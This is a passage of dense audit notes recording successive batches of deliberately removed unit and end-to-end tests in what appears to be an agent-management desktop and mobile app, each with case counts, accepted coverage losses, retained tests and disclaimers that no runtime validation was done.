namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous account (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous account (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous account (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Independently remove one authored/finite Playwright closed-gate app-boot inventory: accept loss of real renderer/preload/main refusal composition, saved-host row and Add/Move hiding/Remove visibility alarms. Keep the unchanged scripted-move rendered dialog lifecycle/reload case. It runs no real WSL migration, host connection, file copy or automation restoration. No selector or Playwright participation cleanup is required because the spec remains. Previous account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3553/3559 current scope: delete worktrees-delete-pty-teardown.test.ts and worktrees-issue-command-overrides.test.ts entirely and remove three cases from worktrees-orphan-directory-cleanup.test.ts (6 authored/6 finite removals). Intentionally retire typed unserved-SSH create/delete admission, exact-name collision/error-token, proven-orphan no-force confirmation, standalone .git-directory refusal, and SSH-owned local-path preservation alarms. Retain only actual authorized orphan deletion and no-marker notes-file preservation; they are not equivalent replacements. The no-marker fixture resolves the default getRepos owner, so it does not prove temporary owner-repo binding. Git/Store/PTY/notifications are mocked; no physical process stop, durable metadata, real SSH delivery or native UI proof is claimed. Unchanged historical oracle, coverage, evidenceRuns and escaped receipts retain their original scopes only; no fresh execution or transferred pass validates the reduced sources. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. Broad root-unit discovery loses whole cross-client workspace-sync, terminal-preview, picker-skill-hint and close-routing suites plus reduced worker-stop, remote-owned-record, scanner, mobile-bundle and daemon-health samples. Separate E2E discovery also loses the paired mobile/desktop mirror journey and two unit drivers. Retained callback/table/outer-loop/guard bytes are exact; retained checks do not replace the removed alarms. No app, native device, mixed-version, remote or cross-platform execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM 